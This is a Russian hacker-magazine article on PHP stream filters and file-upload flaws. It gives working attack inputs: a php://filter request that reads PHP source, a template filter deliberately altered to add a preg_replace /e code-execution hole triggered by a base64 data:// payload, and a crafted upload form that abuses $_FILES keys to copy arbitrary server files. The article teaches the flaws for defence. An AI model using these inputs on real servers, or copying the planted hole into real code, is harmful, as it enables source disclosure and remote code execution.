Содержание статьи
PHP предоставляет богатые возможности для работы с файлами. Любой веб-программист сталкивался с функциями fopen, copy, filegetcontents и т. д. Однако далеко не каждый знает о таких довольно эффективных конструкциях, как фильтры и потоки, в которых совсем недавно обнаружились крайне серьезные баги.
WWW
bit.ly/sfDcys — последняя версия класса Lightning-Template.bit.ly/tTtvWV — пример использования класса Lightning-Template.
bit.ly/mdrdqf — статья, подробно рассказывающая об уязвимости File path injection.
pastebin.com/1edSuSVN — пример использования уязвимости File path injection.
bit.ly/g6ztD3 — описание уязвимости, связанной с неправильной обработкой ключей в массиве $_FILES.
СТАНДАРТНЫЕ ФИЛЬТРЫ
Прежде чем приступать к описанию новых векторов атак, хочу немного рассказать о фильтрах и потоках, которые появились еще в PHP 4.3 и предоставили скриптам абстрактный слой для доступа к файлам. Различные ресурсы в PHP (сетевые соединения, протоколы сжатия и т. д.) могут рассматриваться как «потоки» данных. Можно последовательно считывать информацию из таких потоков или записывать ее в них. При этом существует ряд зарегистрированных в PHP фильтров, с помощью которых можно модифицировать данные, получаемые из потока. Для того чтобы получить список имеющихся в твоей системе фильтров, достаточно выполнить такой код:
print_r(stream_get_filters());
Хакер #156. Взлом XML Encryption
Чтобы использовать фильтр, его нужно связать с потоком. Это делается с помощью функцииstream_filter_append/stream_filter_prepend
или же с помощью враппера php://filter
. Первый способ предоставляет больше возможностей для работы с фильтрами, но второй более компактен, что тоже обеспечивает определенные преимущества. Вот один пример использования фильтров для кодирования строки:
$fp = fopen('php://output', 'w');
stream_filter_append($fp,
'convert.quoted-printable-encode');
fwrite($fp, "I \v Love \v PHP.\n");
А вот пример однострочного скрипта, который получает данные методом POST, кодирует их в Base64 и выводит обратно:
readfile("php://filter/read=convert.base64-encode/
resource=php://input");
Вообще, PHP позволяет осуществлять подстановку одного враппера в другой, что помогает очень сильно сократить код. Например, соединение с удаленным ftp-сервером, скачивание с него gz-архива, распаковку этого архива и сохранение его у себя на веб-сервере можно закодить всего в одной строке:
copy('compress.zlib://ftp://user:pass@ftphost.com:21/path/file.dat.gz', '/local/copy/of/file.dat');
Враппер php://filter
также применяется и для обеспечения безопасности веб-приложений. Например, скрипт
include ($_POST['inc']);
при настройке «allowurlinclude = Off» не позволит злоумышленнику провести атаку RFI. Однако этот скрипт вполне позволяет прочитать локальные PHP-файлы — для этого достаточно послать уязвимому сценарию следующий POST-запрос: inc=php://filter/read%3Dconvert.base64-encode/resource%3D/ path/script.php
Хотя встроенные фильтры предоставляют впечатляющие возможности для решения самых разнообразных задач, разработчики PHP пошли дальше и позволили веб-программистам создавать собственные фильтры. И вот это уже интереснее всего!
ПИШЕМ СВОЙ ФИЛЬТР
О создании пользовательских фильтров написано мало и отрывочно, некоторые функции, необходимые для этого, очень скудно документированы. Тем не менее веб-приложения с такими фильтрами существуют. Предположим, что нам необходимо обрабатывать потоки с помощью функции nl2br. Для этого мы и напишем свой фильтр. Я не буду приводить код полностью, поясню лишь основные моменты метода filter (полный код ищи на нашем диске).
Итак, для начала нам нужно считать данные из потока. В дальнейшем мы будем обрабатывать их с сохранением во внутренней переменной «$this->_data»:
private $_data;
.........................
while($bucket = stream_bucket_make_writeable($in)) {
$this->_data .= $bucket->data;
$this->bucket = $bucket;
$consumed = 0;
}
Когда мы прочитаем все данные из потока, параметр $closing примет значение TRUE. Теперь можно их обрабатывать:
if($closing) {
$consumed += strlen($this->_data);
$str = nl2br($this->_data);
$this->bucket->data = $str;
$this->bucket->datalen = strlen($this->_data);
if(!empty($this->bucket->data))
stream_bucket_append($out, $this->bucket);
return PSFS_PASS_ON;
}
Мы отправляем обработанные данные на точку выхода, а фильтр возвращает значениеPSFS_PASS_ON
. Это означает, что все прошло успешно. Написанный фильтр нужно зарегистрировать. Делается это следующим образом:
stream_filter_register('convert.nl2br_string',
'nl2br_filter');
Зарегистрированный фильтр доступен из любой функции, поддерживающей потоки.
ПОЛЬЗОВАТЕЛЬСКИЕ ФИЛЬТРЫ
Пользовательский фильтр — это расширение встроенного класса phpuserfilter. При создании фильтра необходимо задать следующие методы: filter, onCreate, onClose. Первым и самым важным методом является filter, который принимает четыре параметра:
- $in — точка входа, ресурс, из которого поступают данные как по «цепочке людей, передающих ведро».
- $out — точка выхода, ресурс, в который отдаются обработанные данные.
- $consumed — место, где хранится длина данных, полученных фильтром, этот параметр всегда должен передаваться по ссылке.
- $closing — булева переменная, регулирующая получение данных, принимает значение TRUE, если считывание данных из входящего потока закончено.
Также метод filter должен возвращать одну из следующих трех констант:
- PSFSPASSON — данные успешно обработаны и переданы в точку выхода.
- PSFSFEEDME — ошибки отсутствуют, но данных для передачи в $out нет.
- PSFSERRFATAL (default) — произошла ошибка.
Методы onCreate/onClose применяют редко, но лучше включать их в код фильтра. Если фильтр оперирует другими ресурсами (например, буфером), то это указывается в методе onCreate, вызываемом при инициализации фильтра. Метод onCreate должен возвращать FALSE в случае неудачи и TRUE в случае успеха. Метод onClose вызывается при завершении работы фильтра (обычно во время закрытия потока). Чтобы наш фильтр был доступен, необходимо зарегистрировать его в системе с помощью функции streamfilterregister.
ПРИВЕТ ИЗ ЯПОНИИ
Теперь, когда мы научились создавать собственные фильтры, посмотрим, как они применяются в реально существующих скриптах. Воспользуемся для этого сервисом Google Code Search. Будем искать примеры использования функции streamfilterregister. При этом нам должен встретиться довольно интересный класс Lightning-Template (ссылки на сам класс и страницу разработчика ищи в сносках), который мы рассмотрим чуть подробнее. Допустим, у нас есть некий абстрактный шаблон sample.html:
<html><head>
<meta charset="utf-8" />
<title>{{ title }}</title>
</head> </html>
Тогда скрипт
include ("./LightningTemplate.php");
$lt = new LightningTemplate('./sample.html');
$lt->title = 'My Title';
echo $lt;
сгенерит следующую HTML-страницу:
<html><head>
<meta charset="utf-8" />
<title>My Title</title>
</head></html>
Таким образом, упомянутый класс по заданным шаблонам генерит соответствующий HTML-код. Хотелось бы сразу отметить, что подключение темплейтов в этом классе происходит через уже знакомую тебе конструкцию include, однако это не самое лучшее решение. Определенные группы пользователей обладают правами на редактирование темплейтов, что позволяет внедрять в них зловредный PHP-код, который успешно выполняется согласно логике данного класса. Самописный фильтр, идущий вместе с классом, как раз и делает всю основную работу по преобразованию HTML-кода. Внесем небольшие изменения в этот фильтр:
public function filter($in, $out, &$consumed, $closing) {
while ($bucket = stream_bucket_make_writeable($in)) {
$patterns = array(
...
'/\{%\s+if\s+(.+?)\s+%\}/e',
...
);
$replacements = array(
...
"'<?php if ('. \$this->condition($1). '): ?>'",
...
);
$bucket->data = preg_replace($patterns,
$replacements, $bucket->data);
В строке, начинающейся с "'<?php if
, я удалил одинарные кавычки. Это не влияет на функциональность фильтра, но дает нам новые возможности. Изменив фильтр, я добился того, чтобы произвольные команды исполнялись с помощью preg_replace с модификатором «e». Таким образом, если в темплейте есть строка:
{% if print_r(ini_get_all()) %}
— то при её обработке выполнится PHP-код. Важно отметить, что фильтры можно использовать с любыми функциями, поддерживающими потоки. Например, рассмотрим следующий скрипт:
include ("./MYLightningTemplate.php");
$f = $_POST["file"];
readfile ($f);
Вспоминаем, что один враппер можно подставить в другой. Поэтому наши команды будут успешно выполняться для следующего POST-параметра file:
file=php://filter/read%3dconvert.lightning_template_filter/
resource%3d
data://text/plain%3bbase64,eyUgaWYgcHJpbnRfcihpbmlfZ2V0X2
FsbCgpKSAlfQ
Таким образом, фильтры с уязвимостями очень сильно снижают безопасность системы в целом, так как проэксплуатировать подобные баги поможет любая функция, поддерживающая потоки, а такие функции во множестве используются для обработки входящих данных. Рассмотрим, например, загрузку файлов на сервер стандартными средствами PHP.
FILE UPLOAD
Обычно для загрузки файлов на сервер используют либо функцию moveuploadedfile, либо функцию copy. Довольно часто пользователям разрешается загружать графические изображения, картинки, аватары и т. д. При этом разработчики предусматривают разнообразные процедуры проверки загружаемых файлов, чтобы вместо картинки никто не загрузил полноценный веб-шелл. Чтобы понять, какая проверка действительно эффективна, а какую легко можно обойти, рассмотрим процесс обычной загрузки файла в подробностях.
Итак, для отправки пользовательского файла используется HTML-форма, например такая:
<form action=upload.php method=post
enctype=multipart/form-data>
<input type=file name=uploadfile>
<input type=submit value=Upload>
</form>
Когда мы выбираем файл для загрузки у себя на компьютере и нажимаем кнопку Upload, удаленному серверу отправляется POST-запрос, в котором обязательно содержится хедер Content-Type следующего вида:
Content-Type: multipart/form-data; boundary=
-----------------2421143106617
А сами POST-данные имеют такой вид:
-----------------------------2421143106617
Content-Disposition: form-data; name="uploadfile"; filename="hello.txt"
Content-Type: text/plain
<?php echo 'Hello!!!'; ?>
-----------------------------2421143106617--
Как несложно догадаться, при заполнении формы мы выбрали файл hello.txt, который содержит «<?php echo 'Hello!!!'; ?>»
. Когда PHP-скрипт на удаленном сервере получает этот запрос, интерпретатор PHP создает на сервере временный файл с именем типа phpseUm44, в который и попадает содержимое hello.txt. Этот временный файл хранится до завершения работы скрипта, а потом автоматически удаляется (подробнее о временных файлах в PHP читай в предыдущем номере нашего журнала). Также создается массив $_FILES следующего вида:
Array (
[uploadfile] => Array (
[name] => hello.txt
[type] => text/plain
[tmp_name] => /tmp/phpseUm44
[error] => 0
[size] => 33
)
)
Тут важно понимать, что $_FILES[uploadfile][type]
совпадает с элементом Content-Type, который формируется на стороне клиента. Обычно браузер автоматически заполняет этот элемент в зависимости от выбранного файла, поэтому некоторые веб-мастера, наивно надеясь обезопасить себя от загрузки зловредных PHP-скриптов, проводят только вот такую простенькую проверку:
$_FILES["file"]["type"] == "image/gif"
При этом они забывают, что любой элемент пользовательского запроса можно легко изменить, то есть обойти такого рода фильтр очень просто. Для проверки также довольно часто используется функция getimagesize(). Конечно, это более эффективно, но не стоит забывать, что пользователь с легкостью может изменить EXIF-теги изображения, поэтому такой фильтр также легко можно обойти. Остается открытым вопрос о том, в каком виде файл сохраняется на сервере. Например, в зависимости от настроек веб-сервера файл pic.php.myext вполне может быть обработан как PHP-скрипт. Таким образом, безопасный аплоад файлов — это не только проверки в скриптах, но и грамотно решенный вопрос о местонахождении и обработке загруженных файлов. При этом также не стоит забывать и об особенностях самого PHP, связанных с массивом $_FILES.
УЯЗВИМОСТИ ЗАГРУЗКИ ФАЙЛОВ
Первая уязвимость, о которой я бы хотел рассказать, — это недостаточная обработка имени файла при его загрузке. Эта уязвимость помечена на сайте bugs.php.net как приватная, тем не менее если постараться, все-таки можно найти ее описание. 🙂 Баг заключается в том, что если имя файла начинается со слеша или бэкслеша и больше слешей/бэкслешей не содержит, то оно проходит как есть в элемент массива $_FILES[uploadfile][name]
. Таким образом, вместо того чтобы загрузить файл в текущую директорию скрипта, мы загрузим его в корневую директорию веб-сервера. На машинах под управлением Unix-подобных систем мы не сможем ничего загрузить в корневую папку из-за нехватки прав. Но вот на Windows-машинах вполне можно провернуть такой финт ушами. По ссылке в сносках ищи обучающее видео из блога первооткрывателя этого бага.
Вторая уязвимость более существенна. Она обусловлена неправильной обработкой ключей в массиве $_FILES. Впервые о ней я узнал от человека под ником Qwazar с форума rdot.org. Вместе с BlackFan, еще одним камрадом с этого форума, они провели тесты, раскрывающие суть этого бага. С их разрешения я расскажу о нем более подробно. Итак, пусть у нас есть мультифайловая загрузка, реализуемая с помощью функции copy:
foreach ($_FILES["file"]["tmp_name"] as $key => $name)
{
echo "Size:".$_FILES["file"]["size"][$key]."<br/>\r\n";
echo "tmp name:".
$_FILES["file"]["tmp_name"][$key]."<br/>\r\n";
if($_FILES["file"]["size"][$key]>0 &&
$_FILES["file"]["size"][$key]<1024)
{
echo "Ok<br/>\r\n";
copy($_FILES["file"]["tmp_name"][$key],'test.txt');
}
}
INFO
Баг с ключами $_FILES не является багом самого языка, а обусловлен неграмотно написанными скриптами.Это позволяет не только загружать файлы, но и читать произвольный контент с сервера! Если мы отсылаем файлы на сервер при помощи вот такой вот формы:
<form action="upload.php" method="POST" enctype="multipart/form-data"> <input type="Hidden" name="MAX_FILE_SIZE" value="10000000"> <input type="file" name="file[tmp_name]["> <input type="file" name="file[size]["> <input type="file" name="file[name]["> <input type="submit" value="submit"> </form>
— то в массиве $_FILES создаются элементы следующего типа:
$_FILES["file"]["tmp_name"]["[name"]
Функция copy вполне успешно воспринимает эти элементы:
$_FILES["file"]["tmp_name"][$key]
Таким образом, мы получаем возможность для манипулирования произвольными параметрами в $_FILES (ниже я покажу, что такое поведение характерно не только для функции copy). Приведу простой пример, чтобы более детально разъяснить суть уязвимости. Если на удаленном сервере имеется вышеуказанный скрипт (назовем его upload.php), а у нас на компьютере есть соответствующая HTML-форма, то для чтения исходника скрипта secret.php, который находится в той же директории, что и upload.php, нам необходимо и достаточно создать у себя на жестком диске два файла: 1. Файл с именем secret.php, содержимое которого не столь важно (пусть, к примеру, это будет «<?php ?>»
). 2. Файл с совсем простым именем, допустим «1». Его содержимое будет состоять из одного символа «1».
В качестве имени второго файла выбрано число, чтобы он смог пройти следующую проверку:
$_FILES["file"]["size"][$key]>0
Теперь открываем вышеуказанную форму в браузере и в поле «file[tmp_name][» выбираем файл secret.php, а в остальных полях — файл с именем «1». Затем жмем на сабмит и видим, что в той же директории появился файл test.txt. Он представляет собой точную копию файла secret.php, но имеет расширение txt, и значит, мы легко можем просмотреть его в браузере.
Кстати, чтобы просмотреть файл из произвольной директории, нужно изменить поле Content-Type (то, о котором я говорил выше). В этом поле мы можем указать путь к любому файлу на сервере, и этот файл успешно скопируется в test.txt. Но и это еще не все!
«БЕЗОПАСНАЯ» ЗАГРУЗКА ФАЙЛОВ НА СЕРВЕР
Как отмечено выше, в основном загрузка файлов осуществляется с помощью функций moveuploadedfile и copy. Однако существуют и другие варианты для выполнения этой сложной и ответственной задачи. Один из таких вариантов (он, кстати, более предпочтителен, если речь идет о загрузке только изображений) — использование функций imagecreatefrom/image. Так как эти функции работают только с изображениями, то ничего, кроме картинки, мы им подсунуть не сможем. Например, скрипт
$img = imagecreatefromjpeg($_FILES["filename"]["tmp_name"]);
imagejpeg($img, "uploads/".$_FILES["filename"]["name"]);
загружает на сервер только картинку в формате JPEG, при этом полностью уничтожая все находящиеся в EXIF-тегах данные. Таким образом, злоумышленик никак не сможет залить на сервер что-то опасное. Но даже в таком, казалось бы, надежном методе есть свои подводные камни. Сразу хочу заметить, что найти в реальных скриптах приведенные ниже примеры будет непросто, однако все они имеют право на жизнь.
Итак, главная особенность функций imagecreatefrom* заключается в том, что они не только работают с графическими файлами, но и вполне себе поддерживают описанные выше потоки! Это открывает, к примеру, прекрасную возможность хранить картинки не на сервере, а в базе данных. Таким образом, если пропустить картинку через base64_encode и сохранить в БД, то потом такое изображение можно будет вывести на экран, например, вот так:
$jpegimage = imagecreatefromjpeg(
"data://image/jpeg;base64," . base64_encode(
$sql_result_array['imagedata']));
imagejpeg($jpegimage);
Эта особенность может оказаться довольно полезной, так как грузить картинки в базу намного безопасней, чем в файлы. Например, разработчикам не нужно думать о правах доступа к директориям с картинками, о доступности этих директорий из веба и о других подобных вопросах. Однако то, что функции воспринимают потоки, изредка приводит к довольно неожиданным результатам.
Предположим, что у нас есть веб-приложение, которое имеет описанный выше уязвимый фильтр, а также осуществляет мультифайловую загрузку, но не с помощью функции copy, а с помощью функции imagecreatefrom/image, например такой:
foreach ($_FILES["file"]["tmp_name"] as $key => $name) {
echo "Size:".$_FILES["file"]["size"][$key]."<br/>\r\n";
echo "tmp name:".$_FILES["file"]["tmp_name"][$key]."<br/>\r\n";
$img = imagecreatefromjpeg(
$_FILES["file"]["tmp_name"][$key]);
imagejpeg($img, './new_'.$key.'.jpg');
ImageDestroy($img);
}
Создаем на сервере файл 1.jpg c произвольным содержимым, выбираем его во всех полях формы, которую я приводил выше, и отсылаем POST-запрос с модифицированным полем Content-Type:
php://filter/read%3dconvert.lightning_template_filter/
resource%3d
data://text/plain%3bbase64,eyUgaWYgcHJpbnRfcihpbmlfZ2V0X2
FsbCgpKSAlfQ
Таким образом, мы можем выполнить произвольный код на сервере! Курьез этого примера состоит в том, что точкой входа служит, казалось бы, вполне безобидная функция imagecreatefromjpeg. Однако стоит учесть, что возможность выполнять произвольный код появляется только благодаря уязвимому фильтру, а такие фильтры встречаются далеко не на каждом шагу.
НОВАЯ ЖИЗНЬ СТАРЫХ БАГОВ
В конце 2009 года в PHP уже был найден похожий баг, связанный с неразберихой в ключах глобальных массивов. По задумке разработчиков, в именах GPC-переменных не должны содержаться символы « » (пробела), «.» и «[» (они могут интерпретироваться как элементы специального синтаксиса массивов). Однако версии PHP того времени допускали нарушение логики в образовании таких имен. Чтобы воспроизвести баг, набросаем специальную HTML-форму:
<form action=>
<input name="goodvar .[">
<input name="goodarray[foo]">
<input name="badvar[ . [">
<input type=submit>
</form>
Также напишем скрипт index.php для вывода результата на экран:
<?php
print_r($_GET);
?>
Ожидаемый результат:
Array
(
[goodvar___] =>
[goodarray] => Array
(
[foo] =>
)
[badvar_____] =>
)
Полученный результат:
Array
(
[goodvar___] =>
[goodarray] => Array
(
[foo] =>
)
[badvar_ . [] =>
)
Как видишь, логика в построении массива явно нарушена. Очень похожее нарушение логики лежит и в основе уязвимости в $_FILES, описанной в статье.
ВМЕСТО ЗАКЛЮЧЕНИЯ
В последнее время багокопатели стали все чаще устремлять свои пылкие взоры на механизмы работы с файлами в PHP. В этой статье я постарался доходчиво описать очередную порцию таких багов, а также привел малоизвестные факты о фильтрах и потоках. Надеюсь, что новые знания помогут веб-разработчикам грамотно, красиво и, главное, безопасно кодить свои приложения.